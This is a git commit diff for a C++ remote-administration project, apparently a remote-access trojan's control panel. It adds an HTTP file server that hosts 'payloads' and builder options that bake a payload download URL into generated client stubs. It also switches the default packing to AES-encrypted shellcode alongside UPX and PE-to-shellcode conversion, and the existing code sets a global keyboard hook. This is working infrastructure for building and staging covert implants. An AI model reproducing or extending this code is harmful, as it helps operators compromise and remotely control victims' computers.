Feature: Support download payload from http(s) server

This commit is contained in:
yuanyuanxiang
2026-01-17 23:10:01 +01:00
parent 1611ddd869
commit 13a09e8451
10 changed files with 9559 additions and 7 deletions

Binary file not shown.

View File

@@ -481,6 +481,10 @@ CMy2015RemoteDlg::~CMy2015RemoteDlg()
MemoryFreeLibrary(m_tinyDLL);
m_tinyDLL = NULL;
}
if (m_FileServer) {
m_FileServer->Stop();
SAFE_DELETE(m_FileServer);
}
}
void CMy2015RemoteDlg::DoDataExchange(CDataExchange* pDX)
@@ -1150,6 +1154,12 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
THIS_CFG.SetStr("settings", "PwdHash", GetPwdHash());
THIS_CFG.SetStr("settings", "MasterHash", GetMasterHash());
UPDATE_SPLASH(16, "正在启动下载服务...");
m_FileServer = new FileDownloadServer(THIS_CFG.GetInt("settings", "FileSvrPort", 80));
if (!m_FileServer->Start()) {
THIS_APP->MessageBoxA("下载服务启动失败,可能是端口被占用了。", "提示");
}
UPDATE_SPLASH(20, "正在初始化文件上传模块...");
int ret = InitFileUpload(GetHMAC(), 64, 50, Logf);
g_hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, AfxGetInstanceHandle(), 0);

View File

@@ -7,6 +7,7 @@
#include "IOCPServer.h"
#include <common/location.h>
#include <map>
#include"file_server.h"
//////////////////////////////////////////////////////////////////////////
// 以下为特殊需求使用
@@ -187,6 +188,7 @@ protected:
DWORD g_StartTick;
BOOL m_bHookWIN = TRUE;
BOOL m_runNormal = FALSE;
FileDownloadServer* m_FileServer = nullptr;
// 生成的消息映射函数
virtual BOOL OnInitDialog();
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);

View File

@@ -103,6 +103,7 @@
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<OpenMPSupport>false</OpenMPSupport>
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
<LanguageStandard>stdcpp17</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
@@ -135,6 +136,7 @@
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<OpenMPSupport>false</OpenMPSupport>
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
<LanguageStandard>stdcpp17</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
@@ -167,6 +169,7 @@
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<OpenMPSupport>false</OpenMPSupport>
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
<LanguageStandard>stdcpp17</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
@@ -201,6 +204,7 @@
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<OpenMPSupport>false</OpenMPSupport>
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
<LanguageStandard>stdcpp17</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>

View File

@@ -108,6 +108,7 @@ CBuildDlg::CBuildDlg(CWnd* pParent)
, m_strEncryptIP(_T(""))
, m_sInstallDir(_T(""))
, m_sInstallName(_T(""))
, m_sDownloadUrl(_T(""))
{
}
@@ -140,6 +141,11 @@ void CBuildDlg::DoDataExchange(CDataExchange* pDX)
DDV_MaxChars(pDX, m_sInstallDir, 31);
DDX_Text(pDX, IDC_EDIT_INSTALL_NAME, m_sInstallName);
DDV_MaxChars(pDX, m_sInstallName, 31);
DDX_Control(pDX, IDC_CHECK_FILESERVER, m_BtnFileServer);
DDX_Control(pDX, IDC_STATIC_DOWNLOAD, m_StaticDownload);
DDX_Control(pDX, IDC_EDIT_DOWNLOAD_URL, m_EditDownloadUrl);
DDX_Text(pDX, IDC_EDIT_DOWNLOAD_URL, m_sDownloadUrl);
DDV_MaxChars(pDX, m_sDownloadUrl, 255);
}
@@ -157,6 +163,8 @@ BEGIN_MESSAGE_MAP(CBuildDlg, CDialog)
ON_EN_KILLFOCUS(IDC_EDIT_INSTALL_DIR, &CBuildDlg::OnEnKillfocusEditInstallDir)
ON_EN_KILLFOCUS(IDC_EDIT_INSTALL_NAME, &CBuildDlg::OnEnKillfocusEditInstallName)
ON_COMMAND(ID_RANDOM_NAME, &CBuildDlg::OnRandomName)
ON_BN_CLICKED(IDC_CHECK_FILESERVER, &CBuildDlg::OnBnClickedCheckFileserver)
ON_CBN_SELCHANGE(IDC_COMBO_PAYLOAD, &CBuildDlg::OnCbnSelchangeComboPayload)
END_MESSAGE_MAP()
@@ -202,6 +210,7 @@ typedef struct SCInfo {
int offset;
char file[_MAX_PATH];
char targetDir[_MAX_PATH];
char downloadUrl[_MAX_PATH];
} SCInfo;
#define GetAddr(mod, name) GetProcAddress(GetModuleHandleA(mod), name)
@@ -280,6 +289,12 @@ bool IsValidFileName(const CString& strName)
return true;
}
CString BuildPayloadUrl(const char* ip, const char* name) {
static int port = THIS_CFG.GetInt("settings", "FileSvrPort", 80);
CString url = CString("http://") + CString(ip) + ":" + std::to_string(port).c_str() + CString("/payloads/") + name;
return url;
}
void CBuildDlg::OnBnClickedOk()
{
UpdateData(TRUE);
@@ -478,7 +493,12 @@ void CBuildDlg::OnBnClickedOk()
sc->offset = n == Payload_Raw ? 0 : GetFileSize(payload);
strcpy(sc->file, PathFindFileNameA(payload));
strcpy(sc->targetDir, targetDir);
tip = payload.IsEmpty() ? "\r\n警告: 没有生成载荷!" : "\r\n提示: 载荷文件必须拷贝至程序目录。";
BOOL checked = m_BtnFileServer.GetCheck() == BST_CHECKED;
if (checked){
strcpy(sc->downloadUrl, m_sDownloadUrl.IsEmpty() ? BuildPayloadUrl(m_strIP, sc->file) : m_sDownloadUrl);
}
tip = payload.IsEmpty() ? "\r\n警告: 没有生成载荷!" :
checked ? "\r\n提示: 载荷文件必须拷贝至\"Payloads\"目录。" : "\r\n提示: 载荷文件必须拷贝至程序目录。";
}
BOOL r = WriteBinaryToFile(strSeverFile.GetString(), (char*)data, dwSize);
if (r) {
@@ -593,14 +613,14 @@ BOOL CBuildDlg::OnInitDialog()
m_ComboEncrypt.InsertString(PROTOCOL_SHINE, "Shine");
m_ComboEncrypt.InsertString(PROTOCOL_HELL, "HELL");
m_ComboEncrypt.SetCurSel(PROTOCOL_SHINE);
m_ComboEncrypt.SetCurSel(PROTOCOL_HELL);
m_ComboCompress.InsertString(CLIENT_COMPRESS_NONE, "");
m_ComboCompress.InsertString(CLIENT_COMPRESS_UPX, "UPX");
m_ComboCompress.InsertString(CLIENT_COMPRESS_SC_AES, "ShellCode AES");
m_ComboCompress.InsertString(CLIENT_PE_TO_SEHLLCODE, "PE->ShellCode");
m_ComboCompress.InsertString(CLIENT_COMPRESS_SC_AES_OLD, "ShellCode AES<Old>");
m_ComboCompress.SetCurSel(CLIENT_COMPRESS_NONE);
m_ComboCompress.SetCurSel(CLIENT_COMPRESS_SC_AES_OLD);
m_ComboPayload.InsertString(Payload_Self, "载荷写入当前程序尾部");
m_ComboPayload.InsertString(Payload_Raw, "载荷写入单独的二进制文件");
@@ -613,6 +633,11 @@ BOOL CBuildDlg::OnInitDialog()
m_ComboPayload.ShowWindow(SW_HIDE);
m_StaticPayload.ShowWindow(SW_HIDE);
m_BtnFileServer.ShowWindow(SW_HIDE);
m_BtnFileServer.SetCheck(BST_UNCHECKED);
m_StaticDownload.ShowWindow(SW_HIDE);
m_EditDownloadUrl.ShowWindow(SW_HIDE);
m_OtherItem.ShowWindow(SW_HIDE);
m_runasAdmin = FALSE;
@@ -733,6 +758,11 @@ void CBuildDlg::OnCbnSelchangeComboCompress()
m_ComboPayload.ShowWindow(m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES ? SW_SHOW : SW_HIDE);
m_StaticPayload.ShowWindow(m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES ? SW_SHOW : SW_HIDE);
m_ComboPayload.SetFocus();
m_BtnFileServer.ShowWindow(
m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES && m_ComboPayload.GetCurSel() ? SW_SHOW : SW_HIDE);
m_BtnFileServer.SetCheck(BST_UNCHECKED);
m_StaticDownload.ShowWindow(SW_HIDE);
m_EditDownloadUrl.ShowWindow(SW_HIDE);
static bool warned = false;
if (m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES && !warned) {
warned = true;
@@ -871,3 +901,26 @@ void CBuildDlg::OnRandomName()
SubMenu->CheckMenuItem(ID_RANDOM_NAME, b ? MF_CHECKED : MF_UNCHECKED);
THIS_CFG.SetInt("settings", "RandomName", b);
}
void CBuildDlg::OnBnClickedCheckFileserver()
{
BOOL checked = m_BtnFileServer.GetCheck() == BST_CHECKED;
m_StaticDownload.ShowWindow(checked ? SW_SHOW : SW_HIDE);
m_EditDownloadUrl.ShowWindow(checked ? SW_SHOW : SW_HIDE);
static bool warned = false;
if (!warned && checked) {
warned = true;
MessageBoxA("请提供载荷的下载地址。下载地址前缀为 http 或 https。"
"默认由本机提供载荷下载服务,请将载荷文件放在\"Payloads\"目录。"
"由本机提供下载时,下载地址可以省略输入。", "提示", MB_ICONINFORMATION);
}
}
void CBuildDlg::OnCbnSelchangeComboPayload()
{
m_BtnFileServer.ShowWindow(
m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES && m_ComboPayload.GetCurSel() ? SW_SHOW : SW_HIDE);
m_BtnFileServer.SetCheck(BST_UNCHECKED);
m_StaticDownload.ShowWindow(SW_HIDE);
m_EditDownloadUrl.ShowWindow(SW_HIDE);
}

View File

@@ -62,4 +62,10 @@ public:
afx_msg void OnEnKillfocusEditInstallDir();
afx_msg void OnEnKillfocusEditInstallName();
afx_msg void OnRandomName();
CButton m_BtnFileServer;
CStatic m_StaticDownload;
CEdit m_EditDownloadUrl;
CString m_sDownloadUrl;
afx_msg void OnBnClickedCheckFileserver();
afx_msg void OnCbnSelchangeComboPayload();
};

View File

@@ -0,0 +1,91 @@
#include <Windows.h>
#include <string>
#include <thread>
#include <filesystem>
#include <fstream>
#undef min
#undef max
#include "httplib.h"
#ifndef max
#define max(a,b) (((a) > (b)) ? (a) : (b))
#endif
#ifndef min
#define min(a,b) (((a) < (b)) ? (a) : (b))
#endif
#pragma comment(lib, "ws2_32.lib")
namespace fs = std::filesystem;
class FileDownloadServer {
public:
FileDownloadServer(int port = 8080) : port_(port) {
char exe_path[MAX_PATH];
GetModuleFileNameA(NULL, exe_path, MAX_PATH);
root_dir_ = fs::path(exe_path).parent_path() / "Payloads";
fs::create_directories(root_dir_);
}
bool Start() {
server_.Get("/payloads/(.*)", [this](const httplib::Request& req, httplib::Response& res) {
std::string filename = req.matches[1];
if (filename.empty() || filename.find("..") != std::string::npos) {
res.status = 403;
return;
}
fs::path filepath = root_dir_ / filename;
if (!fs::exists(filepath) || !fs::is_regular_file(filepath)) {
res.status = 404;
return;
}
auto filesize = fs::file_size(filepath);
std::string path_str = filepath.string();
res.set_header("Content-Disposition",
"attachment; filename=\"" + filename + "\"");
res.set_content_provider(filesize, "application/octet-stream",
[path_str](size_t offset, size_t length, httplib::DataSink& sink) {
std::ifstream file(path_str, std::ios::binary);
if (!file) return false;
file.seekg(offset);
char buffer[65536];
size_t remaining = length;
while (remaining > 0 && file) {
size_t to_read = (std::min)(remaining, sizeof(buffer));
file.read(buffer, to_read);
size_t n = (size_t)file.gcount();
if (n == 0) break;
sink.write(buffer, n);
remaining -= n;
}
return true;
}
);
});
server_thread_ = std::thread([this]() {
server_.listen("0.0.0.0", port_);
});
std::this_thread::sleep_for(std::chrono::milliseconds(100));
return server_.is_running();
}
void Stop() {
server_.stop();
if (server_thread_.joinable()) server_thread_.join();
}
private:
httplib::Server server_;
fs::path root_dir_;
int port_;
std::thread server_thread_;
};

9370
server/2015Remote/httplib.h Normal file

File diff suppressed because it is too large Load Diff

View File

@@ -196,7 +196,6 @@
#define IDD_TOOLBAR_DLG 318
#define IDD_DIALOG_FILESEND 320
#define IDR_SCLOADER_X86_OLD 322
#define IDR_BINARY7 323
#define IDR_SCLOADER_X64_OLD 323
#define IDC_MESSAGE 1000
#define IDC_ONLINE 1001
@@ -441,6 +440,10 @@
#define IDC_BTN_POSITION 2219
#define IDC_BTN_OPACITY 2220
#define IDC_BTN_SCREENSHOT 2221
#define IDC_CHECK1 2222
#define IDC_CHECK_FILESERVER 2222
#define IDC_STATIC_DOWNLOAD 2223
#define IDC_EDIT_DOWNLOAD_URL 2224
#define ID_ONLINE_UPDATE 32772
#define ID_ONLINE_MESSAGE 32773
#define ID_ONLINE_DELETE 32775
@@ -627,7 +630,7 @@
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 324
#define _APS_NEXT_COMMAND_VALUE 32995
#define _APS_NEXT_CONTROL_VALUE 2222
#define _APS_NEXT_CONTROL_VALUE 2225
#define _APS_NEXT_SYMED_VALUE 105
#endif
#endif